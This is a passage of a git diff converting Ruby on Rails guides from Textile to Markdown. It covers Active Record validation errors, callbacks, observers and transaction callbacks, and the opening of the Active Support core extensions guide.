:discount_cannot_be_greater_than_total_value
@@ -674,11 +682,11 @@ class Invoice < ActiveRecord::Base
end
end
end
-</ruby>
+```
-By default such validations will run every time you call +valid?+. It is also possible to control when to run these custom validations by giving an +:on+ option to the +validate+ method, with either: +:create+ or +:update+.
+By default such validations will run every time you call `valid?`. It is also possible to control when to run these custom validations by giving an `:on` option to the `validate` method, with either: `:create` or `:update`.
-<ruby>
+```ruby
class Invoice < ActiveRecord::Base
validate :active_customer, :on => :create
@@ -686,37 +694,38 @@ class Invoice < ActiveRecord::Base
errors.add(:customer_id, "is not active") unless customer.active?
end
end
-</ruby>
+```
You can even create your own validation helpers and reuse them in several different models. For example, an application that manages surveys may find it useful to express that a certain field corresponds to a set of choices:
-<ruby>
+```ruby
ActiveRecord::Base.class_eval do
def self.validates_as_choice(attr_name, n, options={})
validates attr_name, :inclusion => { { :in => 1..n }.merge!(options) }
end
end
-</ruby>
+```
-Simply reopen +ActiveRecord::Base+ and define a class method like that. You'd typically put this code somewhere in +config/initializers+. You can use this helper like this:
+Simply reopen `ActiveRecord::Base` and define a class method like that. You'd typically put this code somewhere in `config/initializers`. You can use this helper like this:
-<ruby>
+```ruby
class Movie < ActiveRecord::Base
validates_as_choice :rating, 5
end
-</ruby>
+```
-h3. Working with Validation Errors
+Working with Validation Errors
+------------------------------
-In addition to the +valid?+ and +invalid?+ methods covered earlier, Rails provides a number of methods for working with the +errors+ collection and inquiring about the validity of objects.
+In addition to the `valid?` and `invalid?` methods covered earlier, Rails provides a number of methods for working with the `errors` collection and inquiring about the validity of objects.
-The following is a list of the most commonly used methods. Please refer to the +ActiveModel::Errors+ documentation for a list of all the available methods.
+The following is a list of the most commonly used methods. Please refer to the `ActiveModel::Errors` documentation for a list of all the available methods.
-h4(#working_with_validation_errors-errors). +errors+
+### `errors`
-Returns an instance of the class +ActiveModel::Errors+ containing all errors. Each key is the attribute name and the value is an array of strings with all errors.
+Returns an instance of the class `ActiveModel::Errors` containing all errors. Each key is the attribute name and the value is an array of strings with all errors.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :name, :presence => true, :length => { :minimum => 3 }
end
@@ -729,13 +738,13 @@ person.errors
person = Person.new(:name => "John Doe")
person.valid? # => true
person.errors # => []
-</ruby>
+```
-h4(#working_with_validation_errors-errors-2). +errors[]+
+### `errors[]`
-+errors[]+ is used when you want to check the error messages for a specific attribute. It returns an array of strings with all error messages for the given attribute, each string with one error message. If there are no errors related to the attribute, it returns an empty array.
+`errors[]` is used when you want to check the error messages for a specific attribute. It returns an array of strings with all error messages for the given attribute, each string with one error message. If there are no errors related to the attribute, it returns an empty array.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :name, :presence => true, :length => { :minimum => 3 }
end
@@ -752,13 +761,13 @@ person = Person.new
person.valid? # => false
person.errors[:name]
# => ["can't be blank", "is too short (minimum is 3 characters)"]
-</ruby>
+```
-h4. +errors.add+
+### `errors.add`
-The +add+ method lets you manually add messages that are related to particular attributes. You can use the +errors.full_messages+ or +errors.to_a+ methods to view the messages in the form they might be displayed to a user. Those particular messages get the attribute name prepended (and capitalized). +add+ receives the name of the attribute you want to add the message to, and the message itself.
+The `add` method lets you manually add messages that are related to particular attributes. You can use the `errors.full_messages` or `errors.to_a` methods to view the messages in the form they might be displayed to a user. Those particular messages get the attribute name prepended (and capitalized). `add` receives the name of the attribute you want to add the message to, and the message itself.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
def a_method_used_for_validation_purposes
errors.add(:name, "cannot contain the characters !@#%*()_-+=")
@@ -772,11 +781,11 @@ person.errors[:name]
person.errors.full_messages
# => ["Name cannot contain the characters !@#%*()_-+="]
-</ruby>
+```
-Another way to do this is using +[]=+ setter
+Another way to do this is using `[]=` setter
-<ruby>
+```ruby
class Person < ActiveRecord::Base
def a_method_used_for_validation_purposes
errors[:name] = "cannot contain the characters !@#%*()_-+="
@@ -790,25 +799,25 @@ Another way to do this is using +[]=+ setter
person.errors.to_a
# => ["Name cannot contain the characters !@#%*()_-+="]
-</ruby>
+```
-h4. +errors[:base]+
+### `errors[:base]`
-You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since +errors[:base]+ is an array, you can simply add a string to it and it will be used as an error message.
+You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since `errors[:base]` is an array, you can simply add a string to it and it will be used as an error message.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
def a_method_used_for_validation_purposes
errors[:base] << "This person is invalid because ..."
end
end
-</ruby>
+```
-h4. +errors.clear+
+### `errors.clear`
-The +clear+ method is used when you intentionally want to clear all the messages in the +errors+ collection. Of course, calling +errors.clear+ upon an invalid object won't actually make it valid: the +errors+ collection will now be empty, but the next time you call +valid?+ or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the +errors+ collection will be filled again.
+The `clear` method is used when you intentionally want to clear all the messages in the `errors` collection. Of course, calling `errors.clear` upon an invalid object won't actually make it valid: the `errors` collection will now be empty, but the next time you call `valid?` or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the `errors` collection will be filled again.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :name, :presence => true, :length => { :minimum => 3 }
end
@@ -824,14 +833,14 @@ person.errors.empty? # => true
p.save # => false
p.errors[:name]
- # => ["can't be blank", "is too short (minimum is 3 characters)"]
-</ruby>
+# => ["can't be blank", "is too short (minimum is 3 characters)"]
+```
-h4. +errors.size+
+### `errors.size`
-The +size+ method returns the total number of error messages for the object.
+The `size` method returns the total number of error messages for the object.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :name, :presence => true, :length => { :minimum => 3 }
end
@@ -843,32 +852,33 @@ person.errors.size # => 2
person = Person.new(:name => "Andrea", :email => "andrea@example.com")
person.valid? # => true
person.errors.size # => 0
-</ruby>
+```
-h3. Displaying Validation Errors in the View
+Displaying Validation Errors in the View
+----------------------------------------
-"DynamicForm":https://github.com/joelmoss/dynamic_form provides helpers to display the error messages of your models in your view templates.
+[DynamicForm](https://github.com/joelmoss/dynamic_form) provides helpers to display the error messages of your models in your view templates.
You can install it as a gem by adding this line to your Gemfile:
-<ruby>
+```ruby
gem "dynamic_form"
-</ruby>
+```
-Now you will have access to the two helper methods +error_messages+ and +error_messages_for+ in your view templates.
+Now you will have access to the two helper methods `error_messages` and `error_messages_for` in your view templates.
-h4. +error_messages+ and +error_messages_for+
+### `error_messages` and `error_messages_for`
-When creating a form with the +form_for+ helper, you can use the +error_messages+ method on the form builder to render all failed validation messages for the current model instance.
+When creating a form with the `form_for` helper, you can use the `error_messages` method on the form builder to render all failed validation messages for the current model instance.
-<ruby>
+```ruby
class Product < ActiveRecord::Base
validates :description, :value, :presence => true
validates :value, :numericality => true, :allow_nil => true
end
-</ruby>
+```
-<erb>
+```erb
<%= form_for(@product) do |f| %>
<%= f.error_messages %>
<p>
@@ -883,81 +893,82 @@ end
<%= f.submit "Create" %>
</p>
<% end %>
-</erb>
+```
If you submit the form with empty fields, the result will be similar to the one shown below:
-!images/error_messages.png(Error messages)!
+![Error messages](images/error_messages.png)
-NOTE: The appearance of the generated HTML will be different from the one shown, unless you have used scaffolding. See "Customizing the Error Messages CSS":#customizing-error-messages-css.
+NOTE: The appearance of the generated HTML will be different from the one shown, unless you have used scaffolding. See [Customizing the Error Messages CSS](#customizing-the-error-messages-css).
-You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It is very similar to the previous example and will achieve exactly the same result.
+You can also use the `error_messages_for` helper to display the error messages of a model assigned to a view template. It is very similar to the previous example and will achieve exactly the same result.
-<erb>
+```erb
<%= error_messages_for :product %>
-</erb>
+```
The displayed text for each error message will always be formed by the capitalized name of the attribute that holds the error, followed by the error message itself.
-Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, change the header text, change the message below the header, and specify the tag used for the header element. For example,
+Both the `form.error_messages` and the `error_messages_for` helpers accept options that let you customize the `div` element that holds the messages, change the header text, change the message below the header, and specify the tag used for the header element. For example,
-<erb>
+```erb
<%= f.error_messages :header_message => "Invalid product!",
:message => "You'll need to fix the following fields:",
:header_tag => :h3 %>
-</erb>
+```
results in:
-!images/customized_error_messages.png(Customized error messages)!
+![Customized error messages](images/customized_error_messages.png)
-If you pass +nil+ in any of these options, the corresponding section of the +div+ will be discarded.
+If you pass `nil` in any of these options, the corresponding section of the `div` will be discarded.
-h4(#customizing-error-messages-css). Customizing the Error Messages CSS
+### Customizing the Error Messages CSS
The selectors used to customize the style of error messages are:
-* +.field_with_errors+ - Style for the form fields and labels with errors.
-* +#error_explanation+ - Style for the +div+ element with the error messages.
-* +#error_explanation h2+ - Style for the header of the +div+ element.
-* +#error_explanation p+ - Style for the paragraph holding the message that appears right below the header of the +div+ element.
-* +#error_explanation ul li+ - Style for the list items with individual error messages.
+* `.field_with_errors` - Style for the form fields and labels with errors.
+* `#error_explanation` - Style for the `div` element with the error messages.
+* `#error_explanation h2` - Style for the header of the `div` element.
+* `#error_explanation p` - Style for the paragraph holding the message that appears right below the header of the `div` element.
+* `#error_explanation ul li` - Style for the list items with individual error messages.
-If scaffolding was used, file +app/assets/stylesheets/scaffolds.css.scss+ will have been generated automatically. This file defines the red-based styles you saw in the examples above.
+If scaffolding was used, file `app/assets/stylesheets/scaffolds.css.scss` will have been generated automatically. This file defines the red-based styles you saw in the examples above.
-The name of the class and the id can be changed with the +:class+ and +:id+ options, accepted by both helpers.
+The name of the class and the id can be changed with the `:class` and `:id` options, accepted by both helpers.
-h4. Customizing the Error Messages HTML
+### Customizing the Error Messages HTML
-By default, form fields with errors are displayed enclosed by a +div+ element with the +field_with_errors+ CSS class. However, it's possible to override that.
+By default, form fields with errors are displayed enclosed by a `div` element with the `field_with_errors` CSS class. However, it's possible to override that.
-The way form fields with errors are treated is defined by +ActionView::Base.field_error_proc+. This is a +Proc+ that receives two parameters:
+The way form fields with errors are treated is defined by `ActionView::Base.field_error_proc`. This is a `Proc` that receives two parameters:
* A string with the HTML tag
-* An instance of +ActionView::Helpers::InstanceTag+.
+* An instance of `ActionView::Helpers::InstanceTag`.
-Below is a simple example where we change the Rails behavior to always display the error messages in front of each of the form fields in error. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want.
+Below is a simple example where we change the Rails behavior to always display the error messages in front of each of the form fields in error. The error messages will be enclosed by a `span` element with a `validation-error` CSS class. There will be no `div` element enclosing the `input` element, so we get rid of that red border around the text field. You can use the `validation-error` CSS class to style it anyway you want.
-<ruby>
+```ruby
ActionView::Base.field_error_proc = Proc.new do |html_tag, instance|
errors = Array(instance.error_message).join(',')
%(#{html_tag}<span class="validation-error">&nbsp;#{errors}</span>).html_safe
end
-</ruby>
+```
The result looks like the following:
-!images/validation_error_messages.png(Validation error messages)!
+![Validation error messages](images/validation_error_messages.png)
-h3. Callbacks Overview
+Callbacks Overview
+------------------
Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it is possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database.
-h4. Callback Registration
+### Callback Registration
In order to use the available callbacks, you need to register them. You can implement the callbacks as ordinary methods and use a macro-style class method to register them as callbacks:
-<ruby>
+```ruby
class User < ActiveRecord::Base
validates :login, :email, :presence => true
@@ -970,11 +981,11 @@ class User < ActiveRecord::Base
end
end
end
-</ruby>
+```
The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in a single line:
-<ruby>
+```ruby
class User < ActiveRecord::Base
validates :login, :email, :presence => true
@@ -982,53 +993,73 @@ class User < ActiveRecord::Base
user.name = user.login.capitalize if user.name.blank?
end
end
+```
+
+Callbacks can also be registered to only fire on certain lifecycle events:
+<ruby>
+class User < ActiveRecord::Base
+ before_validation :normalize_name, :on => :create
+
+ # :on takes an array as well
+ after_validation :set_location, :on => [ :create, :update ]
+
+ protected
+ def normalize_name
+ self.name = self.name.downcase.titleize
+ end
+
+ def set_location
+ self.location = LocationService.query(self)
+ end
+end
</ruby>
It is considered good practice to declare callback methods as protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation.
-h3. Available Callbacks
+Available Callbacks
+-------------------
Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations:
-h4. Creating an Object
+### Creating an Object
-* +before_validation+
-* +after_validation+
-* +before_save+
-* +around_save+
-* +before_create+
-* +around_create+
-* +after_create+
-* +after_save+
+* `before_validation`
+* `after_validation`
+* `before_save`
+* `around_save`
+* `before_create`
+* `around_create`
+* `after_create`
+* `after_save`
-h4. Updating an Object
+### Updating an Object
-* +before_validation+
-* +after_validation+
-* +before_save+
-* +around_save+
-* +before_update+
-* +around_update+
-* +after_update+
-* +after_save+
+* `before_validation`
+* `after_validation`
+* `before_save`
+* `around_save`
+* `before_update`
+* `around_update`
+* `after_update`
+* `after_save`
-h4. Destroying an Object
+### Destroying an Object
-* +before_destroy+
-* +around_destroy+
-* +after_destroy+
+* `before_destroy`
+* `around_destroy`
+* `after_destroy`
-WARNING. +after_save+ runs both on create and update, but always _after_ the more specific callbacks +after_create+ and +after_update+, no matter the order in which the macro calls were executed.
+WARNING. `after_save` runs both on create and update, but always _after_ the more specific callbacks `after_create` and `after_update`, no matter the order in which the macro calls were executed.
-h4. +after_initialize+ and +after_find+
+### `after_initialize` and `after_find`
-The +after_initialize+ callback will be called whenever an Active Record object is instantiated, either by directly using +new+ or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record +initialize+ method.
+The `after_initialize` callback will be called whenever an Active Record object is instantiated, either by directly using `new` or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record `initialize` method.
-The +after_find+ callback will be called whenever Active Record loads a record from the database. +after_find+ is called before +after_initialize+ if both are defined.
+The `after_find` callback will be called whenever Active Record loads a record from the database. `after_find` is called before `after_initialize` if both are defined.
-The +after_initialize+ and +after_find+ callbacks have no +before_*+ counterparts, but they can be registered just like the other Active Record callbacks.
+The `after_initialize` and `after_find` callbacks have no `before_*` counterparts, but they can be registered just like the other Active Record callbacks.
-<ruby>
+```ruby
class User < ActiveRecord::Base
after_initialize do |user|
puts "You have initialized an object!"
@@ -1047,71 +1078,75 @@ You have initialized an object!
You have found an object!
You have initialized an object!
=> #<User id: 1>
-</ruby>
+```
-h3. Running Callbacks
+Running Callbacks
+-----------------
The following methods trigger callbacks:
-* +create+
-* +create!+
-* +decrement!+
-* +destroy+
-* +destroy_all+
-* +increment!+
-* +save+
-* +save!+
-* +save(:validate => false)+
-* +toggle!+
-* +update+
-* +update_attribute+
-* +update_attributes+
-* +update_attributes!+
-* +valid?+
-
-Additionally, the +after_find+ callback is triggered by the following finder methods:
-
-* +all+
-* +first+
-* +find+
-* +find_all_by_<em>attribute</em>+
-* +find_by_<em>attribute</em>+
-* +find_by_<em>attribute</em>!+
-* +find_by_sql+
-* +last+
-
-The +after_initialize+ callback is triggered every time a new object of the class is initialized.
-
-h3. Skipping Callbacks
+* `create`
+* `create!`
+* `decrement!`
+* `destroy`
+* `destroy_all`
+* `increment!`
+* `save`
+* `save!`
+* `save(:validate => false)`
+* `toggle!`
+* `update`
+* `update_attribute`
+* `update_attributes`
+* `update_attributes!`
+* `valid?`
+
+Additionally, the `after_find` callback is triggered by the following finder methods:
+
+* `all`
+* `first`
+* `find`
+* `find_all_by_<em>attribute</em>`
+* `find_by_<em>attribute</em>`
+* `find_by_<em>attribute</em>!`
+* `find_by_sql`
+* `last`
+
+The `after_initialize` callback is triggered every time a new object of the class is initialized.
+
+Skipping Callbacks
+------------------
Just as with validations, it is also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data.
-* +decrement+
-* +decrement_counter+
-* +delete+
-* +delete_all+
-* +increment+
-* +increment_counter+
-* +toggle+
-* +touch+
-* +update_column+
-* +update_columns+
-* +update_all+
-* +update_counters+
-
-h3. Halting Execution
+* `decrement`
+* `decrement_counter`
+* `delete`
+* `delete_all`
+* `increment`
+* `increment_counter`
+* `toggle`
+* `touch`
+* `update_column`
+* `update_columns`
+* `update_all`
+* `update_counters`
+
+Halting Execution
+-----------------
As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed.
-The whole callback chain is wrapped in a transaction. If any <em>before</em> callback method returns exactly +false+ or raises an exception, the execution chain gets halted and a ROLLBACK is issued; <em>after</em> callbacks can only accomplish that by raising an exception.
+The whole callback chain is wrapped in a transaction. If any <em>before</em> callback method returns exactly `false` or raises an exception, the execution chain gets halted and a ROLLBACK is issued; <em>after</em> callbacks can only accomplish that by raising an exception.
-WARNING. Raising an arbitrary exception may break code that expects +save+ and its friends not to fail like that. The +ActiveRecord::Rollback+ exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised.
+WARNING. Raising an arbitrary exception may break code that expects `save` and its friends not to fail like that. The `ActiveRecord::Rollback` exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised.
-h3. Relational Callbacks
+Relational Callbacks
+--------------------
-Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many posts. A user's posts should be destroyed if the user is destroyed. Let's add an +after_destroy+ callback to the +User+ model by way of its relationship to the +Post+ model:
+Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many posts. A user's posts should be destroyed if the user is destroyed. Let's add an `after_destroy` callback to the `User` model by way of its relationship to the `Post` model:
-<ruby>
+```ruby
class User < ActiveRecord::Base
has_many :posts, :dependent => :destroy
end
@@ -1131,61 +1166,63 @@ end
>> user.destroy
Post destroyed
=> #<User id: 1>
-</ruby>
+```
-h3. Conditional Callbacks
+Conditional Callbacks
+---------------------
-As with validations, we can also make the calling of a callback method conditional on the satisfaction of a given predicate. We can do this using the +:if+ and +:unless+ options, which can take a symbol, a string, a +Proc+ or an +Array+. You may use the +:if+ option when you want to specify under which conditions the callback *should* be called. If you want to specify the conditions under which the callback *should not* be called, then you may use the +:unless+ option.
+As with validations, we can also make the calling of a callback method conditional on the satisfaction of a given predicate. We can do this using the `:if` and `:unless` options, which can take a symbol, a string, a `Proc` or an `Array`. You may use the `:if` option when you want to specify under which conditions the callback **should** be called. If you want to specify the conditions under which the callback **should not** be called, then you may use the `:unless` option.
-h4. Using +:if+ and +:unless+ with a +Symbol+
+### Using `:if` and `:unless` with a `Symbol`
-You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a predicate method that will get called right before the callback. When using the +:if+ option, the callback won't be executed if the predicate method returns false; when using the +:unless+ option, the callback won't be executed if the predicate method returns true. This is the most common option. Using this form of registration it is also possible to register several different predicates that should be called to check if the callback should be executed.
+You can associate the `:if` and `:unless` options with a symbol corresponding to the name of a predicate method that will get called right before the callback. When using the `:if` option, the callback won't be executed if the predicate method returns false; when using the `:unless` option, the callback won't be executed if the predicate method returns true. This is the most common option. Using this form of registration it is also possible to register several different predicates that should be called to check if the callback should be executed.
-<ruby>
+```ruby
class Order < ActiveRecord::Base
before_save :normalize_card_number, :if => :paid_with_card?
end
-</ruby>
+```
-h4. Using +:if+ and +:unless+ with a String
+### Using `:if` and `:unless` with a String
-You can also use a string that will be evaluated using +eval+ and hence needs to contain valid Ruby code. You should use this option only when the string represents a really short condition:
+You can also use a string that will be evaluated using `eval` and hence needs to contain valid Ruby code. You should use this option only when the string represents a really short condition:
-<ruby>
+```ruby
class Order < ActiveRecord::Base
before_save :normalize_card_number, :if => "paid_with_card?"
end
-</ruby>
+```
-h4. Using +:if+ and +:unless+ with a +Proc+
+### Using `:if` and `:unless` with a `Proc`
-Finally, it is possible to associate +:if+ and +:unless+ with a +Proc+ object. This option is best suited when writing short validation methods, usually one-liners:
+Finally, it is possible to associate `:if` and `:unless` with a `Proc` object. This option is best suited when writing short validation methods, usually one-liners:
-<ruby>
+```ruby
class Order < ActiveRecord::Base
before_save :normalize_card_number,
:if => Proc.new { |order| order.paid_with_card? }
end
-</ruby>
+```
-h4. Multiple Conditions for Callbacks
+### Multiple Conditions for Callbacks
-When writing conditional callbacks, it is possible to mix both +:if+ and +:unless+ in the same callback declaration:
+When writing conditional callbacks, it is possible to mix both `:if` and `:unless` in the same callback declaration:
-<ruby>
+```ruby
class Comment < ActiveRecord::Base
after_create :send_email_to_author, :if => :author_wants_emails?,
:unless => Proc.new { |comment| comment.post.ignore_comments? }
end
-</ruby>
+```
-h3. Callback Classes
+Callback Classes
+----------------
Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them.
-Here's an example where we create a class with an +after_destroy+ callback for a +PictureFile+ model:
+Here's an example where we create a class with an `after_destroy` callback for a `PictureFile` model:
-<ruby>
+```ruby
class PictureFileCallbacks
def after_destroy(picture_file)
if File.exists?(picture_file.filepath)
@@ -1193,19 +1230,19 @@ class PictureFileCallbacks
end
end
end
-</ruby>
+```
When declared inside a class, as above, the callback methods will receive the model object as a parameter. We can now use the callback class in the model:
-<ruby>
+```ruby
class PictureFile < ActiveRecord::Base
after_destroy PictureFileCallbacks.new
end
-</ruby>
+```
-Note that we needed to instantiate a new +PictureFileCallbacks+ object, since we declared our callback as an instance method. This is particularly useful if the callbacks make use of the state of the instantiated object. Often, however, it will make more sense to declare the callbacks as class methods:
+Note that we needed to instantiate a new `PictureFileCallbacks` object, since we declared our callback as an instance method. This is particularly useful if the callbacks make use of the state of the instantiated object. Often, however, it will make more sense to declare the callbacks as class methods:
-<ruby>
+```ruby
class PictureFileCallbacks
def self.after_destroy(picture_file)
if File.exists?(picture_file.filepath)
@@ -1213,65 +1250,66 @@ class PictureFileCallbacks
end
end
end
-</ruby>
+```
-If the callback method is declared this way, it won't be necessary to instantiate a +PictureFileCallbacks+ object.
+If the callback method is declared this way, it won't be necessary to instantiate a `PictureFileCallbacks` object.
-<ruby>
+```ruby
class PictureFile < ActiveRecord::Base
after_destroy PictureFileCallbacks
end
-</ruby>
+```
You can declare as many callbacks as you want inside your callback classes.
-h3. Observers
+Observers
+---------
-Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality without changing the code of the model. For example, it could be argued that a +User+ model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead.
+Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality without changing the code of the model. For example, it could be argued that a `User` model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead.
-h4. Creating Observers
+### Creating Observers
-For example, imagine a +User+ model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we should create an observer to contain the code implementing this functionality.
+For example, imagine a `User` model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we should create an observer to contain the code implementing this functionality.
-<shell>
+```bash
$ rails generate observer User
-</shell>
+```
-generates +app/models/user_observer.rb+ containing the observer class +UserObserver+:
+generates `app/models/user_observer.rb` containing the observer class `UserObserver`:
-<ruby>
+```ruby
class UserObserver < ActiveRecord::Observer
end
-</ruby>
+```
You may now add methods to be called at the desired occasions:
-<ruby>
+```ruby
class UserObserver < ActiveRecord::Observer
def after_create(model)
# code to send confirmation email...
end
end
-</ruby>
+```
As with callback classes, the observer's methods receive the observed model as a parameter.
-h4. Registering Observers
+### Registering Observers
-Observers are conventionally placed inside of your +app/models+ directory and registered in your application's +config/application.rb+ file. For example, the +UserObserver+ above would be saved as +app/models/user_observer.rb+ and registered in +config/application.rb+ this way:
+Observers are conventionally placed inside of your `app/models` directory and registered in your application's `config/application.rb` file. For example, the `UserObserver` above would be saved as `app/models/user_observer.rb` and registered in `config/application.rb` this way:
-<ruby>
+```ruby
# Activate observers that should always be running.
config.active_record.observers = :user_observer
-</ruby>
+```
-As usual, settings in +config/environments+ take precedence over those in +config/application.rb+. So, if you prefer that an observer doesn't run in all environments, you can simply register it in a specific environment instead.
+As usual, settings in `config/environments` take precedence over those in `config/application.rb`. So, if you prefer that an observer doesn't run in all environments, you can simply register it in a specific environment instead.
-h4. Sharing Observers
+### Sharing Observers
By default, Rails will simply strip "Observer" from an observer's name to find the model it should observe. However, observers can also be used to add behavior to more than one model, and thus it is possible to explicitly specify the models that our observer should observe:
-<ruby>
+```ruby
class MailerObserver < ActiveRecord::Observer
observe :registration, :user
@@ -1279,31 +1317,32 @@ class MailerObserver < ActiveRecord::Observer
# code to send confirmation email...
end
end
-</ruby>
+```
-In this example, the +after_create+ method will be called whenever a +Registration+ or +User+ is created. Note that this new +MailerObserver+ would also need to be registered in +config/application.rb+ in order to take effect:
+In this example, the `after_create` method will be called whenever a `Registration` or `User` is created. Note that this new `MailerObserver` would also need to be registered in `config/application.rb` in order to take effect:
-<ruby>
+```ruby
# Activate observers that should always be running.
config.active_record.observers = :mailer_observer
-</ruby>
+```
-h3. Transaction Callbacks
+Transaction Callbacks
+---------------------
-There are two additional callbacks that are triggered by the completion of a database transaction: +after_commit+ and +after_rollback+. These callbacks are very similar to the +after_save+ callback except that they don't execute until after database changes have either been committed or rolled back. They are most useful when your active record models need to interact with external systems which are not part of the database transaction.
+There are two additional callbacks that are triggered by the completion of a database transaction: `after_commit` and `after_rollback`. These callbacks are very similar to the `after_save` callback except that they don't execute until after database changes have either been committed or rolled back. They are most useful when your active record models need to interact with external systems which are not part of the database transaction.
-Consider, for example, the previous example where the +PictureFile+ model needs to delete a file after the corresponding record is destroyed. If anything raises an exception after the +after_destroy+ callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that +picture_file_2+ in the code below is not valid and the +save!+ method raises an error.
+Consider, for example, the previous example where the `PictureFile` model needs to delete a file after the corresponding record is destroyed. If anything raises an exception after the `after_destroy` callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that `picture_file_2` in the code below is not valid and the `save!` method raises an error.
-<ruby>
+```ruby
PictureFile.transaction do
picture_file_1.destroy
picture_file_2.save!
end
-</ruby>
+```
-By using the +after_commit+ callback we can account for this case.
+By using the `after_commit` callback we can account for this case.
-<ruby>
+```ruby
class PictureFile < ActiveRecord::Base
attr_accessor :delete_file
@@ -1318,6 +1357,6 @@ class PictureFile < ActiveRecord::Base
end
end
end
-</ruby>
+```
-The +after_commit+ and +after_rollback+ callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback.
+The `after_commit` and `after_rollback` callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback.
diff --git a/guides/source/active_support_core_extensions.textile b/guides/source/active_support_core_extensions.md
index 109228f8c7..2a84242b9c 100644
--- a/guides/source/active_support_core_extensions.textile
+++ b/guides/source/active_support_core_extensions.md
@@ -1,4 +1,5 @@
-h2. Active Support Core Extensions
+Active Support Core Extensions
+==============================
Active Support is the Ruby on Rails component responsible for providing Ruby language extensions, utilities, and other transversal stuff.
@@ -6,159 +7,161 @@ It offers a richer bottom-line at the language level, targeted both at the devel
By referring to this guide you will learn the extensions to the Ruby core classes and modules provided by Active Support.
-endprologue.
+--------------------------------------------------------------------------------
-h3. How to Load Core Extensions
+How to Load Core Extensions
+---------------------------
-h4. Stand-Alone Active Support
+### Stand-Alone Active Support
In order to have a near zero default footprint, Active Support does not load anything by default. It is broken in small pieces so that you may load just what you need, and also has some convenience entry points to load related extensions in one shot, even everything.
Thus, after a simple require like:
-<ruby>
+```ruby
require 'active_support'
-</ruby>
+```
-objects do not even respond to +blank?+. Let's see how to load its definition.
+objects do not even respond to `blank?`. Let's see how to load its definition.
-h5. Cherry-picking a Definition
+#### Cherry-picking a Definition
-The most lightweight way to get +blank?+ is to cherry-pick the file that defines it.
+The most lightweight way to get `blank?` is to cherry-pick the file that defines it.
-For every single method defined as a core extension this guide has a note that says where such a method is defined. In the case of +blank?+ the note reads:
+For every single method defined as a core extension this guide has a note that says where such a method is defined. In the case of `blank?` the note reads:
-NOTE: Defined in +active_support/core_ext/object/blank.rb+.
+NOTE: Defined in `active_support/core_ext/object/blank.rb`.
That means that this single call is enough:
-<ruby>
+```ruby
require 'active_support/core_ext/object/blank'
-</ruby>
+```
Active Support has been carefully revised so that cherry-picking a file loads only strictly needed dependencies, if any.
-h5. Loading Grouped Core Extensions
+#### Loading Grouped Core Extensions
-The next level is to simply load all extensions to +Object+. As a rule of thumb, extensions to +SomeClass+ are available in one shot by loading +active_support/core_ext/some_class+.
+The next level is to simply load all extensions to `Object`. As a rule of thumb, extensions to `SomeClass` are available in one shot by loading `active_support/core_ext/some_class`.
-Thus, to load all extensions to +Object+ (including +blank?+):
+Thus, to load all extensions to `Object` (including `blank?`):
-<ruby>
+```ruby
require 'active_support/core_ext/object'
-</ruby>
+```
-h5. Loading All Core Extensions
+#### Loading All Core Extensions
You may prefer just to load all core extensions, there is a file for that:
-<ruby>
+```ruby
require 'active_support/core_ext'
-</ruby>
+```
-h5. Loading All Active Support
+#### Loading All Active Support
And finally, if you want to have all Active Support available just issue:
-<ruby>
+```ruby
require 'active_support/all'
-</ruby>
+```
-That does not even put the entire Active Support in memory upfront indeed, some stuff is configured via +autoload+, so it is only loaded if used.
+That does not even put the entire Active Support in memory upfront indeed, some stuff is configured via `autoload`, so it is only loaded if used.
